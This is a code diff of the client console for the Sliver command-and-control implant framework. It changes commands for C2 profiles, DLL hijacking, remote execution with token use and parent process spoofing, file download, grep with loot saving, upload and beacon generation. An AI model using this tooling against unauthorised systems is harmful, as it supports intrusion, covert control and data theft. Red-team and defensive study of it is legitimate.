profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
con.Println("\n")
}
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := ""
var choices []string
for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name)
}
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
return c2profile
}
+3 -3
View File
@@ -21,7 +21,7 @@ package dllhijack
import (
"context"
"fmt"
"os"
"io/ioutil"
"github.com/spf13/cobra"
@@ -58,7 +58,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
}
if localReferenceFilePath != "" {
localRefData, err = os.ReadFile(localReferenceFilePath)
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
@@ -70,7 +70,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = os.ReadFile(localFile)
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+9 -15
View File
@@ -44,7 +44,6 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
args = args[1:]
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
@@ -65,21 +64,16 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || hidden || ppid != 0 {
if session.OS != "windows" {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return
}
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
HideWindow: hidden,
PPid: ppid,
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: ppid,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+2 -3
View File
@@ -56,9 +56,8 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
RestrictedToFile: true,
Path: filePath,
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
})
ctrl <- true
<-ctrl
-82
View File
@@ -1,82 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if len(args) != 2 {
con.PrintErrorf("Please specify a source and destination filename.\n")
return
}
src := args[0]
dst := args[1]
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cp.Src, cp.Dst = src, dst
if cp.Response != nil && cp.Response.Async {
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(cp.Response)
} else {
PrintCp(cp, con)
}
return
}
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err)
return
}
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
}
+4 -10
View File
@@ -51,10 +51,9 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
RestrictedToFile: false,
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -120,12 +119,7 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
}
remotePath := args[0]
var localPath string
if len(args) == 1 {
localPath = "."
} else {
localPath = args[1]
}
localPath := args[1]
saveLoot, _ := cmd.Flags().GetBool("loot")
if download.ReadFiles == 0 {
-304
View File
@@ -1,304 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/fatih/color"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const maxLinesDisplayed = 50
func processFlags(searchPattern string, insensitive bool, exact bool) string {
if !insensitive && !exact {
return searchPattern
}
var processedSearchPattern = searchPattern
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
if insensitive {
if flagsSpecifiedIndex != nil {
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
flags := searchPattern[:flagsSpecifiedIndex[1]]
if !strings.Contains(flags, "i") {
processedSearchPattern = "(?i" + searchPattern[2:]
}
} else {
processedSearchPattern = "(?i)" + processedSearchPattern
}
}
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
if exact {
var endIndexOfFlags = 0
if flagsSpecifiedIndex != nil {
endIndexOfFlags = flagsSpecifiedIndex[1]
}
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
} else {
processedSearchPattern = `(^|\s)` + processedSearchPattern
}
if strings.HasSuffix(processedSearchPattern, "$") {
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
} else {
processedSearchPattern = processedSearchPattern + `(\s|$)`
}
}
return processedSearchPattern
}
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
searchPattern := args[0]
searchPath := args[1]
recursive, _ := cmd.Flags().GetBool("recursive")
insensitive, _ := cmd.Flags().GetBool("insensitive")
exact, _ := cmd.Flags().GetBool("exact")
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
// Sanity check the search pattern to validate that it is a valid regex
_, err := regexp.Compile(searchPattern)
if err != nil {
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
return
}
// Context overrides individual values for before and after
var linesBefore int32 = 0
var linesAfter int32 = 0
if cmd.Flags().Changed("context") {
linesBefore, _ = cmd.Flags().GetInt32("context")
linesAfter = linesBefore
} else {
linesBefore, _ = cmd.Flags().GetInt32("before")
linesAfter, _ = cmd.Flags().GetInt32("after")
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
Request: con.ActiveTarget.Request(cmd),
SearchPattern: searchPatternProcessed,
Path: searchPath,
Recursive: recursive,
LinesBefore: linesBefore,
LinesAfter: linesAfter,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if grep.Response != nil && grep.Response.Async {
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, grep)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
// Using args[0] so that the operator's original input is preserved
printGrep(grep, args[0], searchPath, cmd, con)
})
con.PrintAsyncResponse(grep.Response)
} else {
printGrep(grep, args[0], searchPath, cmd, con)
}
}
// printGrep - Print the results from the grep operation to stdout
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
colorize, _ := cmd.Flags().GetBool("colorize-output")
userLootFileType, _ := cmd.Flags().GetString("file-type")
currentDateTime := time.Now().Format("2006-01-02_150405")
if !cmd.Flags().Changed("lootName") {
// If the loot name has not been specified by the operator, generate one
con.GetActiveSessionConfig()
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
}
if grep.Response != nil && grep.Response.Err != "" {
con.PrintErrorf("%s\n", grep.Response.Err)
return
}
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
if len(grepResults) > maxLinesDisplayed {
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
saveLoot = true
}
var resultQualifier string
var displayLimit string
if numberOfResults == 1 {
resultQualifier = "line"
} else {
resultQualifier = "lines"
}
if len(grepResults) > maxLinesDisplayed {
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
}
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
if len(grepResults) > maxLinesDisplayed {
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
} else {
con.Println(strings.Join(grepResults, "\n"))
}
if len(grepResults) > maxLinesDisplayed {
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
}
if len(binaryFilesMatched) > 0 {
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
for _, fileName := range binaryFilesMatched {
con.Printf("\t%s\n", fileName)
}
}
if saveLoot {
// Do not allow escape sequences in the output when looting
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
flags := []string{}
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
flags = append(flags, "recursive")
}
if exact, _ := cmd.Flags().GetBool("exact"); exact {
flags = append(flags, "exact match")
}
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
flags = append(flags, "case insensitive search")
}
// Add a header to the looted grep results to indicate what the pattern was and what was searched
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
if len(flags) > 0 {
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
}
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
if len(binaryFilesMatched) > 0 {
grepResultsString += "\nThe following binary files contained one or more matches:\n"
grepResultsString += strings.Join(binaryFilesMatched, "\n")
}
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
}
}
// grepLineResult - Add color or formatting for results for console output
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
var result string = ""
var matchOutput func(a ...interface{}) string
var previousPositionEnd int32 = 0
if colorize {
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
} else if allowFormatting {
matchOutput = color.New(color.Bold).SprintFunc()
}
for idx, position := range positions {
if colorize || allowFormatting {
result += line[previousPositionEnd:position.Start]
result += matchOutput(line[position.Start:position.End])
if idx == len(positions)-1 {
result += line[position.End:]
} else {
previousPositionEnd = position.End
}
} else {
result = line
}
}
return result
}
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
var resultOutput []string
var numberOfResults = 0
binaryFilesMatched := []string{}
for fileName, result := range results {
if result.IsBinary {
if len(result.FileResults) > 0 {
binaryFilesMatched = append(binaryFilesMatched, fileName)
}
}
for _, lineResult := range result.FileResults {
line := lineResult.Line
if len(lineResult.LinesBefore) > 0 || len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, fmt.Sprintf("%s (match on line %d)\n", fileName, lineResult.LineNumber))
if len(lineResult.LinesBefore) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesBefore, "\n"))
}
resultOutput = append(resultOutput, grepLineResult(lineResult.Positions, line, colorize, allowFormatting))
if len(lineResult.LinesAfter) > 0 {
resultOutput = append(resultOutput, strings.Join(lineResult.LinesAfter, "\n"))
}
resultOutput = append(resultOutput, "\n")
} else {
if lineResult.LineNumber == -1 {
resultOutput = append(resultOutput, fmt.Sprintf("Error when reading file %s: %s", fileName, line))
} else {
resultOutput = append(resultOutput, fmt.Sprintf("%s: Line %d: %s", fileName, lineResult.LineNumber, grepLineResult(lineResult.Positions, line, colorize, allowFormatting)))
}
}
numberOfResults += 1
}
}
return resultOutput, numberOfResults, binaryFilesMatched
}
-127
View File
@@ -1,127 +0,0 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var filePath string
var fetchBytes bool
var fetchSize int64
var operationName string
var download *sliverpb.Download
var err error
if len(args) > 0 {
filePath = args[0]
}
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
if cmd.Flags().Changed("bytes") {
fetchBytes = true
fetchSize, _ = cmd.Flags().GetInt64("bytes")
if fetchSize < 0 {
// Cannot fetch a negative number of bytes
con.PrintErrorf("The number of bytes specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "byte"
} else {
operationName = "bytes"
}
} else if cmd.Flags().Changed("lines") {
fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 {
// Cannot fetch a negative number of lines
con.PrintErrorf("The number of lines specified must be positive.")
return
}
if fetchSize == 1 {
operationName = "line"
} else {
operationName = "lines"
}
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
// A tail is a negative head
if !head {
fetchSize *= -1
}
if fetchBytes {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxBytes: fetchSize,
RestrictedToFile: true,
})
} else {
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
MaxLines: fetchSize,
RestrictedToFile: true,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, cmd, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, cmd, con)
}
}
+1 -4
View File
@@ -43,10 +43,7 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
}
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
if err != nil {
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
return
}
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
Request: con.ActiveTarget.Request(cmd),
Fd: fdInt,
+22 -358
View File
@@ -19,277 +19,34 @@ package filesystem
*/
import (
"archive/tar"
"bytes"
"context"
"errors"
"fmt"
"io"
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
)
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indices should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func standarizeArchiveFileName(path string, uploadPathSpecified string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
var standardUploadPath string = strings.ReplaceAll(uploadPathSpecified, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
beginningOfUploadPath, _, _ := strings.Cut(standardUploadPath, "/")
if index := strings.Index(standardFilePath, beginningOfUploadPath); index != -1 {
// Add a / in front to make the specified upload path the root
standardFilePath = "/" + standardFilePath[index:]
}
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func tarDirectory(sourcePath string, pathAsSpecified string, sourceFilter string, recurse bool, preserveDirStructure bool) ([]byte, int, int, error) {
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
var buffer bytes.Buffer
tarWriter := tar.NewWriter(&buffer)
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(sourcePath, "\\", "/")
directory, err := os.Open(sourcePath)
if err != nil {
return nil, readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return nil, readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if sourceFilter != "" {
match, err := matcher.Match(sourcePath+sourceFilter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(sourcePath, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if sourceFilter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := matcher.Match(testPath+sourceFilter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
var fileName string
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
if preserveDirStructure {
fileName = standarizeArchiveFileName(file, pathAsSpecified)
} else {
fileName = fi.Name()
}
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
}
if err := tarWriter.Close(); err != nil {
return buffer.Bytes(), readFiles, unreadableFiles, err
}
return buffer.Bytes(), readFiles, unreadableFiles, nil
}
// UploadCmd - Upload a file to the remote system
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
readFiles := 0
unreadableFiles := 0
var isDirectory bool
var fileName string
var sourceInfomation fs.FileInfo
var uploadData []byte
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ""
localPath := args[0]
if len(args) > 1 {
remotePath = args[1]
}
recurse, _ := cmd.Flags().GetBool("recurse")
preserve, _ := cmd.Flags().GetBool("preserve")
remotePath := args[1]
// localPath := ctx.Args.String("local-path")
// remotePath := ctx.Args.String("remote-path")
isIOC, _ := cmd.Flags().GetBool("ioc")
overwrite, _ := cmd.Flags().GetBool("overwrite")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -297,110 +54,33 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
}
src, _ := filepath.Abs(localPath)
if remotePath == "" {
remotePath = fileName
}
dst := remotePath
// Get information on the source - is it a directory?
srcPath, srcFilter := determineDirPathFilter(src)
sourceInfomation, err := os.Stat(src)
if err == nil && sourceInfomation.IsDir() {
if !strings.HasSuffix(src, string(os.PathSeparator)) {
src += string(os.PathSeparator)
}
srcPath = src
srcFilter = ""
}
_, err := os.Stat(src)
if err != nil {
if errors.Is(err, fs.ErrNotExist) {
// Check to see if src ends with a filter
sourceInfomation, err = os.Stat(srcPath)
if errors.Is(err, fs.ErrNotExist) {
con.PrintErrorf("The source %s does not exist.\n", src)
return
} else if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
// If we still do not have information about the source at this point, bail.
if sourceInfomation == nil {
con.PrintErrorf("Could not get information about the upload source %s\n", src)
con.PrintErrorf("%s\n", err)
return
}
if sourceInfomation.IsDir() {
// tar the directory and send it over
uploadData, readFiles, unreadableFiles, err = tarDirectory(srcPath, localPath, srcFilter, recurse, preserve)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if readFiles == 0 {
con.PrintErrorf("Could not find any files matching %s\n", src)
return
}
isDirectory = true
fileName = ""
} else {
uploadData, err = os.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
readFiles = 1
unreadableFiles = 0
isDirectory = false
fileName = filepath.Base(src)
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
uploadGzip, _ := new(encoders.Gzip).Encode(uploadData)
var readFilesQualifier string
var unsuccessfulFiles string
if readFiles == 1 {
readFilesQualifier = ""
} else {
readFilesQualifier = "s"
}
if unreadableFiles > 0 {
if unreadableFiles == 1 {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d file)", unreadableFiles)
} else {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d files)", unreadableFiles)
}
} else {
unsuccessfulFiles = ""
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %d file%s %sfrom %s to %s", readFiles,
readFilesQualifier,
unsuccessfulFiles,
src,
dst), ctrl)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
IsDirectory: isDirectory,
Overwrite: overwrite,
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
@@ -429,21 +109,5 @@ func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
writtenFileQualifier := "s"
if upload.WrittenFiles == 1 {
writtenFileQualifier = ""
}
unwrittenFileQualifier := "s"
if upload.UnwriteableFiles == 1 {
unwrittenFileQualifier = ""
}
if upload.WrittenFiles > 0 {
if upload.UnwriteableFiles > 0 {
con.PrintInfof("Wrote %d file%s successfully (%d file%s not written) to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
} else {
con.PrintInfof("Wrote %d file%s successfully to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.Path)
}
} else {
con.PrintInfof("Could not write %d file%s to %s: the files already exist on the target\n", upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
+4 -3
View File
@@ -18,7 +18,7 @@ var (
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, config := parseCompileFlags(cmd, con)
config := parseCompileFlags(cmd, con)
if config == nil {
return
}
